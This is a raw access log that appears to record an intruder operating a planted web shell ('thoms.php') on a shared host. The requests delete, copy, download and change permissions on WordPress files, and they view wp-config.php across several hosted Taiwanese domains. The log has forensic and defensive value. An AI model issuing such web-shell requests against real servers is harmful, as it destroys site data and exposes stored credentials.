45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=locoy.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?p=bossini.com.tw&view=index.php HTTP/1.1" 200 12054 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?del=filefuns.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?dl=readme.html&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?del=wp-includes&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?del=.htaccess&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-activate.php HTTP/1.1" 200 14812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?del=error_log&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?del=wp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?p=bossini.com.tw&view=.htaccess HTTP/1.1" 200 12731 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /bossini.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12036 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?dl=thoms.php&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 17572 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 14140 "https://163.245.207.76/bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?chmod=cgi-bin&p=bossini.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59130 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ferror_log&p=bossini.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?dl=wp-activate.php&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-mail.php&p=bossini.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flocoy.php&p=bossini.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-load.php HTTP/1.1" 200 13651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:53 -0400] "GET /thoms.php?dl=wp-settings.php&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?edit=mah.php&p= HTTP/1.1" 200 24301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?edit=mah.php&env=ace&p= HTTP/1.1" 200 28027 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bogroup.com.tw HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bft.com.tw HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=cgi-bin HTTP/1.1" 200 11303 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=upgrade HTTP/1.1" 200 11353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11391 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20790 "https://163.245.207.76/thoms.php?copy=error_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw HTTP/1.1" 200 11454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20915 "https://163.245.207.76/thoms.php?copy=error_log&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20915 "https://163.245.207.76/thoms.php?copy=error_log&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=big-wife.com.tw HTTP/1.1" 200 11454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bioway88.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=broadweb.com.tw HTTP/1.1" 200 11421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=wp-content HTTP/1.1" 200 11365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bossini.com.tw HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=bestjudy.com.tw HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=error_log&p=betcity.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?chmod=index.php&p=booking-wise2.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20913 "https://163.245.207.76/thoms.php?copy=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?chmod=locoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 17426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?del=wp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?del=wp-settings.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?chmod=wp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 11502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:54 -0400] "GET /thoms.php?del=wp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 17427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=mah.php HTTP/1.1" 200 11819 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?dl=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 17426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?del=wp-login.php&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content&p= HTTP/1.1" 200 12148 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?chmod=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?del=index.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?dl=license.txt&p=booking-wise2.com.tw HTTP/1.1" 200 17425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?dl=locoy.php&p=booking-wise2.com.tw HTTP/1.1" 200 17423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=readme.html HTTP/1.1" 200 15241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Freadme.html&p=booking-wise2.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-signup.php HTTP/1.1" 200 22520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p= HTTP/1.1" 200 12148 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?del=wp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 13409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?chmod=data-unused&p=booking-wise2.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?chmod=upgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?chmod=wp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?del=readme.html&p=booking-wise2.com.tw HTTP/1.1" 200 17427 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?del=wp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 17416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-config.php HTTP/1.1" 200 13725 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 17415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:55 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-mail.php HTTP/1.1" 200 15365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
